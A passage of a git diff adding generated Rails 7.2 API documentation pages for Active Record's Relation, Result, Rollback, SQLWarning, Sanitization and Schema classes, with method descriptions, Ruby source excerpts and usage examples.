+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1180
+    def reset
+      @future_result&.cancel
+      @future_result = nil
+      @delegate_to_klass = false
+      @to_sql = @arel = @loaded = @should_eager_load = nil
+      @offsets = @take = nil
+      @cache_keys = nil
+      @cache_versions = nil
+      @records = nil
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scheduled?() + +

+ + +
+

Returns true if the relation was scheduled on the background thread pool.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1155
+    def scheduled?
+      !!@future_result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scope_for_create() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1217
+    def scope_for_create
+      hash = where_clause.to_h(klass.table_name, equality_only: true)
+      create_with_value.each { |k, v| hash[k.to_s] = v } unless create_with_value.empty?
+      hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scoping(all_queries: nil, &block) + +

+ + +
+

Scope all queries to the current scope.

+ +
Comment.where(post_id: 1).scoping do
+  Comment.first
+end
+# SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 1 ORDER BY "comments"."id" ASC LIMIT 1
+
+ +

If all_queries: true is passed, scoping will apply to all queries for the relation including update and delete on instances. Once all_queries is set to true it cannot be set to false in a nested block.

+ +

Please check unscoped if you want to remove all previous scopes (including the default_scope) during the execution of a block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 534
+    def scoping(all_queries: nil, &block)
+      registry = klass.scope_registry
+      if global_scope?(registry) && all_queries == false
+        raise ArgumentError, "Scoping is set to apply to all queries and cannot be unset in a nested block."
+      elsif already_in_scope?(registry)
+        yield
+      else
+        _scoping(self, registry, all_queries, &block)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + size() + +

+ + +
+

Returns size of the records.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 346
+    def size
+      if loaded?
+        records.length
+      else
+        count(:all)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_a() + +

+ + +
+ +
+ + + + + +
+ Alias for: to_ary +
+ + + + +
+ +
+

+ + to_ary() + +

+ + +
+

Converts relation objects to Array.

+
+ + + +
+ Also aliased as: to_a +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 330
+    def to_ary
+      records.dup
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_sql() + +

+ + +
+

Returns sql statement for the relation.

+ +
User.where(name: 'Oscar').to_sql
+# SELECT "users".* FROM "users"  WHERE "users"."name" = 'Oscar'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1196
+    def to_sql
+      @to_sql ||= if eager_loading?
+        apply_join_dependency do |relation, join_dependency|
+          relation = join_dependency.apply_column_aliases(relation)
+          relation.to_sql
+        end
+      else
+        klass.with_connection do |conn|
+          conn.unprepared_statement { conn.to_sql(arel) }
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + touch_all(*names, time: nil) + +

+ + +
+

Touches all records in the current relation, setting the updated_at/updated_on attributes to the current time or the time specified. It does not instantiate the involved models, and it does not trigger Active Record callbacks or validations. This method can be passed attribute names and an optional time argument. If attribute names are passed, they are updated along with updated_at/updated_on attributes. If no time argument is passed, the current time is used as default.

+ +

Examples

+ +
# Touch all records
+Person.all.touch_all
+# => "UPDATE \"people\" SET \"updated_at\" = '2018-01-04 22:55:23.132670'"
+
+# Touch multiple records with a custom attribute
+Person.all.touch_all(:created_at)
+# => "UPDATE \"people\" SET \"updated_at\" = '2018-01-04 22:55:23.132670', \"created_at\" = '2018-01-04 22:55:23.132670'"
+
+# Touch multiple records with a specified time
+Person.all.touch_all(time: Time.new(2020, 5, 16, 0, 0, 0))
+# => "UPDATE \"people\" SET \"updated_at\" = '2020-05-16 00:00:00'"
+
+# Touch records with scope
+Person.where(name: 'David').touch_all
+# => "UPDATE \"people\" SET \"updated_at\" = '2018-01-04 22:55:23.132670' WHERE \"people\".\"name\" = 'David'"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 962
+    def touch_all(*names, time: nil)
+      update_all klass.touch_attributes_with_time(*names, time: time)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_all(updates) + +

+ + +
+

Updates all records in the current relation with details given. This method constructs a single SQL UPDATE statement and sends it straight to the database. It does not instantiate the involved models and it does not trigger Active Record callbacks or validations. However, values passed to update_all will still go through Active Record’s normal type casting and serialization. Returns the number of rows affected.

+ +

Note: As Active Record callbacks are not triggered, this method will not automatically update updated_at/updated_on columns.

+ +

Parameters

+
  • +

    updates - A string, array, or hash representing the SET part of an SQL statement. Any strings provided will be type cast, unless you use Arel.sql. (Don’t pass user-provided values to Arel.sql.)

    +
+ +

Examples

+ +
# Update all customers with the given attributes
+Customer.update_all wants_email: true
+
+# Update all books with 'Rails' in their title
+Book.where('title LIKE ?', '%Rails%').update_all(author: 'David')
+
+# Update all books that match conditions, but limit it to 5 ordered by date
+Book.where('title LIKE ?', '%Rails%').order(:created_at).limit(5).update_all(author: 'David')
+
+# Update all invoices and set the number column to its id value.
+Invoice.update_all('number = id')
+
+# Update all books with 'Rails' in their title
+Book.where('title LIKE ?', '%Rails%').update_all(title: Arel.sql("title + ' - volume 1'"))
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 581
+    def update_all(updates)
+      raise ArgumentError, "Empty list of attributes to change" if updates.blank?
+
+      return 0 if @none
+
+      if updates.is_a?(Hash)
+        if klass.locking_enabled? &&
+            !updates.key?(klass.locking_column) &&
+            !updates.key?(klass.locking_column.to_sym)
+          attr = table[klass.locking_column]
+          updates[attr.name] = _increment_attribute(attr)
+        end
+        values = _substitute_values(updates)
+      else
+        values = Arel.sql(klass.sanitize_sql_for_assignment(updates, table.name))
+      end
+
+      klass.with_connection do |c|
+        arel = eager_loading? ? apply_join_dependency.arel : build_arel(c)
+        arel.source.left = table
+
+        group_values_arel_columns = arel_columns(group_values.uniq)
+        having_clause_ast = having_clause.ast unless having_clause.empty?
+        key = if klass.composite_primary_key?
+          primary_key.map { |pk| table[pk] }
+        else
+          table[primary_key]
+        end
+        stmt = arel.compile_update(values, key, having_clause_ast, group_values_arel_columns)
+        c.update(stmt, "#{klass} Update All").tap { reset }
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_counters(counters) + +

+ + +
+

Updates the counters of the records in the current relation.

+ +

Parameters

+
  • +

    counter - A Hash containing the names of the fields to update as keys and the amount to update as values.

    +
  • +

    :touch option - Touch the timestamp columns when updating.

    +
  • +

    If attributes names are passed, they are updated along with update_at/on attributes.

    +
+ +

Examples

+ +
# For Posts by a given author increment the comment_count by 1.
+Post.where(author_id: author.id).update_counters(comment_count: 1)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 919
+    def update_counters(counters)
+      touch = counters.delete(:touch)
+
+      updates = {}
+      counters.each do |counter_name, value|
+        attr = table[counter_name]
+        updates[attr.name] = _increment_attribute(attr, value)
+      end
+
+      if touch
+        names = touch if touch != true
+        names = Array.wrap(names)
+        options = names.extract_options!
+        touch_updates = klass.touch_attributes_with_time(*names, **options)
+        updates.merge!(touch_updates) unless touch_updates.empty?
+      end
+
+      update_all updates
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upsert(attributes, **kwargs) + +

+ + +
+

Updates or inserts (upserts) a single record into the database in a single SQL INSERT statement. It does not instantiate any models nor does it trigger Active Record callbacks or validations. Though passed values go through Active Record’s type casting and serialization.

+ +

See upsert_all for documentation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 793
+    def upsert(attributes, **kwargs)
+      upsert_all([ attributes ], **kwargs)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upsert_all(attributes, on_duplicate: :update, update_only: nil, returning: nil, unique_by: nil, record_timestamps: nil) + +

+ + +
+

Updates or inserts (upserts) multiple records into the database in a single SQL INSERT statement. It does not instantiate any models nor does it trigger Active Record callbacks or validations. Though passed values go through Active Record’s type casting and serialization.

+ +

The attributes parameter is an Array of Hashes. Every Hash determines the attributes for a single row and must have the same keys.

+ +

Returns an ActiveRecord::Result with its contents based on :returning (see below).

+ +

By default, upsert_all will update all the columns that can be updated when there is a conflict. These are all the columns except primary keys, read-only columns, and columns covered by the optional unique_by.

+ +

Options

+
:returning +
+

(PostgreSQL, SQLite3, and MariaDB only) An array of attributes to return for all successfully inserted records, which by default is the primary key. Pass returning: %w[ id name ] for both id and name or returning: false to omit the underlying RETURNING SQL clause entirely.

+ +

You can also pass an SQL string if you need more control on the return values (for example, returning: Arel.sql("id, name as new_name")).

+
:unique_by +
+

(PostgreSQL and SQLite only) By default rows are considered to be unique by every unique index on the table. Any duplicate rows are skipped.

+ +

To skip rows according to just one unique index pass :unique_by.

+ +

Consider a Book model where no duplicate ISBNs make sense, but if any row has an existing id, or is not unique by another unique index, ActiveRecord::RecordNotUnique is raised.

+ +

Unique indexes can be identified by columns or name:

+ +
unique_by: :isbn
+unique_by: %i[ author_id name ]
+unique_by: :index_books_on_isbn
+
+
+ +

Because it relies on the index information from the database :unique_by is recommended to be paired with Active Record’s schema_cache.

+
:on_duplicate +
+

Configure the SQL update sentence that will be used in case of conflict.

+ +

NOTE: If you use this option you must provide all the columns you want to update by yourself.

+ +

Example:

+ +
Commodity.upsert_all(
+  [
+    { id: 2, name: "Copper", price: 4.84 },
+    { id: 4, name: "Gold", price: 1380.87 },
+    { id: 6, name: "Aluminium", price: 0.35 }
+  ],
+  on_duplicate: Arel.sql("price = GREATEST(commodities.price, EXCLUDED.price)")
+)
+
+ +

See the related :update_only option. Both options can’t be used at the same time.

+
:update_only +
+

Provide a list of column names that will be updated in case of conflict. If not provided, upsert_all will update all the columns that can be updated. These are all the columns except primary keys, read-only columns, and columns covered by the optional unique_by

+ +

Example:

+ +
Commodity.upsert_all(
+  [
+    { id: 2, name: "Copper", price: 4.84 },
+    { id: 4, name: "Gold", price: 1380.87 },
+    { id: 6, name: "Aluminium", price: 0.35 }
+  ],
+  update_only: [:price] # Only prices will be updated
+)
+
+ +

See the related :on_duplicate option. Both options can’t be used at the same time.

+
:record_timestamps +
+

By default, automatic setting of timestamp columns is controlled by the model’s record_timestamps config, matching typical behavior.

+ +

To override this and force automatic setting of timestamp columns one way or the other, pass :record_timestamps:

+ +
record_timestamps: true  # Always set timestamps automatically
+record_timestamps: false # Never set timestamps automatically
+
+
+ +

Examples

+ +
# Inserts multiple records, performing an upsert when records have duplicate ISBNs.
+# Here "Eloquent Ruby" overwrites "Rework" because its ISBN is duplicate.
+
+Book.upsert_all([
+  { title: "Rework", author: "David", isbn: "1" },
+  { title: "Eloquent Ruby", author: "Russ", isbn: "1" }
+], unique_by: :isbn)
+
+Book.find_by(isbn: "1").title # => "Eloquent Ruby"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 903
+    def upsert_all(attributes, on_duplicate: :update, update_only: nil, returning: nil, unique_by: nil, record_timestamps: nil)
+      InsertAll.execute(self, attributes, on_duplicate: on_duplicate, update_only: update_only, returning: returning, unique_by: unique_by, record_timestamps: record_timestamps)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + values() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1264
+    def values
+      @values.dup
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Protected methods

+ +
+

+ + load_records(records) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation.rb, line 1313
+      def load_records(records)
+        @records = records.freeze
+        @loaded = true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/classes/ActiveRecord/Relation/RecordFetchWarning.html b/src/7.2/classes/ActiveRecord/Relation/RecordFetchWarning.html similarity index 100% rename from src/classes/ActiveRecord/Relation/RecordFetchWarning.html rename to src/7.2/classes/ActiveRecord/Relation/RecordFetchWarning.html diff --git a/src/7.2/classes/ActiveRecord/Result.html b/src/7.2/classes/ActiveRecord/Result.html new file mode 100644 index 0000000000..c40a65f242 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Result.html @@ -0,0 +1,549 @@ +--- +title: ActiveRecord::Result +layout: default +--- +
+ +
+
+ +
+ +

Active Record Result

+ +

This class encapsulates a result returned from calling #exec_query on any database connection adapter. For example:

+ +
result = ActiveRecord::Base.lease_connection.exec_query('SELECT id, title, body FROM posts')
+result # => #<ActiveRecord::Result:0xdeadbeef>
+
+# Get the column names of the result:
+result.columns
+# => ["id", "title", "body"]
+
+# Get the record values of the result:
+result.rows
+# => [[1, "title_1", "body_1"],
+      [2, "title_2", "body_2"],
+      ...
+     ]
+
+# Get an array of hashes representing the result (column => value):
+result.to_a
+# => [{"id" => 1, "title" => "title_1", "body" => "body_1"},
+      {"id" => 2, "title" => "title_2", "body" => "body_2"},
+      ...
+     ]
+
+# ActiveRecord::Result also includes Enumerable.
+result.each do |row|
+  puts row['title'] + " " + row['body']
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + column_types
+ [R] + columns
+ [R] + rows
+ + + + +

Class Public methods

+ +
+

+ + new(columns, rows, column_types = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 49
+    def initialize(columns, rows, column_types = nil)
+      # We freeze the strings to prevent them getting duped when
+      # used as keys in ActiveRecord::Base's @attributes hash
+      @columns      = columns.each(&:-@).freeze
+      @rows         = rows
+      @hash_rows    = nil
+      @column_types = column_types || EMPTY_HASH
+      @column_indexes = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](idx) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 93
+    def [](idx)
+      hash_rows[idx]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+

Calls the given block once for each element in row collection, passing row as parameter.

+ +

Returns an Enumerator if no block is given.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 73
+    def each(&block)
+      if block_given?
+        hash_rows.each(&block)
+      else
+        hash_rows.to_enum { @rows.size }
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + empty?() + +

+ + +
+

Returns true if there are no records, otherwise false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 82
+    def empty?
+      rows.empty?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + includes_column?(name) + +

+ + +
+

Returns true if this result set includes the column named name

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 60
+    def includes_column?(name)
+      @columns.include? name
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialize_copy(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 136
+    def initialize_copy(other)
+      @columns      = columns
+      @rows         = rows.dup
+      @column_types = column_types.dup
+      @hash_rows    = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last(n = nil) + +

+ + +
+

Returns the last record from the rows collection.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 98
+    def last(n = nil)
+      n ? hash_rows.last(n) : hash_rows.last
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + length() + +

+ + +
+

Returns the number of elements in the rows array.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 65
+    def length
+      @rows.length
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_a() + +

+ + +
+ +
+ + + + + +
+ Alias for: to_ary +
+ + + + +
+ +
+

+ + to_ary() + +

+ + +
+

Returns an array of hashes representing each row record.

+
+ + + +
+ Also aliased as: to_a +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/result.rb, line 87
+    def to_ary
+      hash_rows
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Rollback.html b/src/7.2/classes/ActiveRecord/Rollback.html new file mode 100644 index 0000000000..3596355b37 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Rollback.html @@ -0,0 +1,88 @@ +--- +title: ActiveRecord::Rollback +layout: default +--- +
+ +
+
+ +
+ +

ActiveRecord::Base.transaction uses this exception to distinguish a deliberate rollback from other exceptional situations. Normally, raising an exception will cause the .transaction method to rollback the database transaction and pass on the exception. But if you raise an ActiveRecord::Rollback exception, then the database transaction will be rolled back, without passing on the exception.

+ +

For example, you could do this in your controller to rollback a transaction:

+ +
class BooksController < ActionController::Base
+  def create
+    Book.transaction do
+      book = Book.new(params[:book])
+      book.save!
+      if today_is_friday?
+        # The system must fail on Friday so that our support department
+        # won't be out of job. We silently rollback this transaction
+        # without telling the user.
+        raise ActiveRecord::Rollback
+      end
+    end
+    # ActiveRecord::Rollback is the only exception that won't be passed on
+    # by ActiveRecord::Base.transaction, so this line will still be reached
+    # even on Friday.
+    redirect_to root_url
+  end
+end
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SQLWarning.html b/src/7.2/classes/ActiveRecord/SQLWarning.html new file mode 100644 index 0000000000..3081973e4c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SQLWarning.html @@ -0,0 +1,146 @@ +--- +title: ActiveRecord::SQLWarning +layout: default +--- +
+ +
+
+ +
+ +

Raised when a statement produces an SQL warning.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + code
+ [R] + level
+ [RW] + sql
+ + + + +

Class Public methods

+ +
+

+ + new(message = nil, code = nil, level = nil, sql = nil, connection_pool = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 296
+    def initialize(message = nil, code = nil, level = nil, sql = nil, connection_pool = nil)
+      super(message, connection_pool: connection_pool)
+      @code = code
+      @level = level
+      @sql = sql
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Sanitization.html b/src/7.2/classes/ActiveRecord/Sanitization.html new file mode 100644 index 0000000000..cf4052f1ef --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Sanitization.html @@ -0,0 +1,67 @@ +--- +title: ActiveRecord::Sanitization +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Sanitization/ClassMethods.html b/src/7.2/classes/ActiveRecord/Sanitization/ClassMethods.html new file mode 100644 index 0000000000..ba4a251a85 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Sanitization/ClassMethods.html @@ -0,0 +1,464 @@ +--- +title: ActiveRecord::Sanitization::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + sanitize_sql(condition) + +

+ + +
+ +
+ + + + + + + + + + +
+ +
+

+ + sanitize_sql_array(ary) + +

+ + +
+

Accepts an array of conditions. The array has each value sanitized and interpolated into the SQL statement. If using named bind variables in SQL statements where a colon is required verbatim use a backslash to escape.

+ +
sanitize_sql_array(["name=? and group_id=?", "foo'bar", 4])
+# => "name='foo''bar' and group_id=4"
+
+sanitize_sql_array(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4])
+# => "name='foo''bar' and group_id=4"
+
+sanitize_sql_array(["TO_TIMESTAMP(:date, 'YYYY/MM/DD HH12\\:MI\\:SS')", date: "foo"])
+# => "TO_TIMESTAMP('foo', 'YYYY/MM/DD HH12:MI:SS')"
+
+sanitize_sql_array(["name='%s' and group_id='%s'", "foo'bar", 4])
+# => "name='foo''bar' and group_id='4'"
+
+ +

Note that this sanitization method is not schema-aware, hence won’t do any type casting and will directly use the database adapter’s quote method. For MySQL specifically this means that numeric parameters will be quoted as strings to prevent query manipulation attacks.

+ +
sanitize_sql_array(["role = ?", 0])
+# => "role = '0'"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/sanitization.rb, line 163
+      def sanitize_sql_array(ary)
+        statement, *values = ary
+        if values.first.is_a?(Hash) && /:\w+/.match?(statement)
+          with_connection do |c|
+            replace_named_bind_variables(c, statement, values.first)
+          end
+        elsif statement.include?("?")
+          with_connection do |c|
+            replace_bind_variables(c, statement, values)
+          end
+        elsif statement.blank?
+          statement
+        else
+          with_connection do |c|
+            statement % values.collect { |value| c.quote_string(value.to_s) }
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_sql_for_assignment(assignments, default_table_name = table_name) + +

+ + +
+

Accepts an array or hash of SQL conditions and sanitizes them into a valid SQL fragment for a SET clause.

+ +
sanitize_sql_for_assignment(["name=? and group_id=?", nil, 4])
+# => "name=NULL and group_id=4"
+
+sanitize_sql_for_assignment(["name=:name and group_id=:group_id", name: nil, group_id: 4])
+# => "name=NULL and group_id=4"
+
+Post.sanitize_sql_for_assignment({ name: nil, group_id: 4 })
+# => "`posts`.`name` = NULL, `posts`.`group_id` = 4"
+
+ +

This method will NOT sanitize an SQL string since it won’t contain any conditions in it and will return the string as is.

+ +
sanitize_sql_for_assignment("name=NULL and group_id='4'")
+# => "name=NULL and group_id='4'"
+
+ +

Note that this sanitization method is not schema-aware, hence won’t do any type casting and will directly use the database adapter’s quote method. For MySQL specifically this means that numeric parameters will be quoted as strings to prevent query manipulation attacks.

+ +
sanitize_sql_for_assignment(["role = ?", 0])
+# => "role = '0'"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/sanitization.rb, line 68
+      def sanitize_sql_for_assignment(assignments, default_table_name = table_name)
+        case assignments
+        when Array; sanitize_sql_array(assignments)
+        when Hash;  sanitize_sql_hash_for_assignment(assignments, default_table_name)
+        else        assignments
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_sql_for_conditions(condition) + +

+ + +
+

Accepts an array of SQL conditions and sanitizes them into a valid SQL fragment for a WHERE clause.

+ +
sanitize_sql_for_conditions(["name=? and group_id=?", "foo'bar", 4])
+# => "name='foo''bar' and group_id=4"
+
+sanitize_sql_for_conditions(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4])
+# => "name='foo''bar' and group_id='4'"
+
+sanitize_sql_for_conditions(["name='%s' and group_id='%s'", "foo'bar", 4])
+# => "name='foo''bar' and group_id='4'"
+
+ +

This method will NOT sanitize an SQL string since it won’t contain any conditions in it and will return the string as is.

+ +
sanitize_sql_for_conditions("name='foo''bar' and group_id='4'")
+# => "name='foo''bar' and group_id='4'"
+
+ +

Note that this sanitization method is not schema-aware, hence won’t do any type casting and will directly use the database adapter’s quote method. For MySQL specifically this means that numeric parameters will be quoted as strings to prevent query manipulation attacks.

+ +
sanitize_sql_for_conditions(["role = ?", 0])
+# => "role = '0'"
+
+
+ + + +
+ Also aliased as: sanitize_sql +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/sanitization.rb, line 33
+      def sanitize_sql_for_conditions(condition)
+        return nil if condition.blank?
+
+        case condition
+        when Array; sanitize_sql_array(condition)
+        else        condition
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_sql_for_order(condition) + +

+ + +
+

Accepts an array, or string of SQL conditions and sanitizes them into a valid SQL fragment for an ORDER clause.

+ +
sanitize_sql_for_order([Arel.sql("field(id, ?)"), [1,3,2]])
+# => "field(id, 1,3,2)"
+
+sanitize_sql_for_order("id ASC")
+# => "id ASC"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/sanitization.rb, line 84
+      def sanitize_sql_for_order(condition)
+        if condition.is_a?(Array) && condition.first.to_s.include?("?")
+          disallow_raw_sql!(
+            [condition.first],
+            permit: adapter_class.column_name_with_order_matcher
+          )
+
+          # Ensure we aren't dealing with a subclass of String that might
+          # override methods we use (e.g. Arel::Nodes::SqlLiteral).
+          if condition.first.kind_of?(String) && !condition.first.instance_of?(String)
+            condition = [String.new(condition.first), *condition[1..-1]]
+          end
+
+          Arel.sql(sanitize_sql_array(condition))
+        else
+          condition
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_sql_hash_for_assignment(attrs, table) + +

+ + +
+

Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.

+ +
sanitize_sql_hash_for_assignment({ status: nil, group_id: 1 }, "posts")
+# => "`posts`.`status` = NULL, `posts`.`group_id` = 1"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/sanitization.rb, line 107
+      def sanitize_sql_hash_for_assignment(attrs, table)
+        c = connection
+        attrs.map do |attr, value|
+          type = type_for_attribute(attr)
+          value = type.serialize(type.cast(value))
+          "#{c.quote_table_name_for_assignment(table, attr)} = #{c.quote(value)}"
+        end.join(", ")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_sql_like(string, escape_character = "\\") + +

+ + +
+

Sanitizes a string so that it is safe to use within an SQL LIKE statement. This method uses escape_character to escape all occurrences of itself, β€œ_” and β€œ%”.

+ +
sanitize_sql_like("100% true!")
+# => "100\\% true!"
+
+sanitize_sql_like("snake_cased_string")
+# => "snake\\_cased\\_string"
+
+sanitize_sql_like("100% true!", "!")
+# => "100!% true!!"
+
+sanitize_sql_like("snake_cased_string", "!")
+# => "snake!_cased!_string"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/sanitization.rb, line 131
+      def sanitize_sql_like(string, escape_character = "\\")
+        if string.include?(escape_character) && escape_character != "%" && escape_character != "_"
+          string = string.gsub(escape_character, '\0\0')
+        end
+
+        string.gsub(/(?=[%_])/, escape_character)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Schema.html b/src/7.2/classes/ActiveRecord/Schema.html new file mode 100644 index 0000000000..41f8d4cb64 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Schema.html @@ -0,0 +1,167 @@ +--- +title: ActiveRecord::Schema +layout: default +--- +
+ +
+
+ +
+ +

Active Record Schema

+ +

Allows programmers to programmatically define a schema in a portable DSL. This means you can define tables, indexes, etc. without using SQL directly, so your applications can more easily support multiple databases.

+ +

Usage:

+ +
ActiveRecord::Schema[7.0].define do
+  create_table :authors do |t|
+    t.string :name, null: false
+  end
+
+  add_index :authors, :name, :unique
+
+  create_table :posts do |t|
+    t.integer :author_id, null: false
+    t.string :subject
+    t.text :body
+    t.boolean :private, default: false
+  end
+
+  add_index :posts, :author_id
+end
+
+ +

ActiveRecord::Schema is only supported by database adapters that also support migrations, the two features being very similar.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+
    + +
  • + [] +
  • + +
+ + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + [](version) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/schema.rb, line 70
+    def self.[](version)
+      @class_for_version ||= {}
+      @class_for_version[version] ||= Class.new(Migration::Compatibility.find(version)) do
+        include Definition
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Schema/Definition.html b/src/7.2/classes/ActiveRecord/Schema/Definition.html new file mode 100644 index 0000000000..d0a9fa057a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Schema/Definition.html @@ -0,0 +1,67 @@ +--- +title: ActiveRecord::Schema::Definition +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Schema/Definition/ClassMethods.html b/src/7.2/classes/ActiveRecord/Schema/Definition/ClassMethods.html new file mode 100644 index 0000000000..9bc8f031f9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Schema/Definition/ClassMethods.html @@ -0,0 +1,108 @@ +--- +title: ActiveRecord::Schema::Definition::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + define(info = {}, &block) + +

+ + +
+

Eval the given block. All methods available to the current connection adapter are available within the block, so you can easily use the database definition DSL to build up your schema ( create_table, add_index, etc.).

+ +

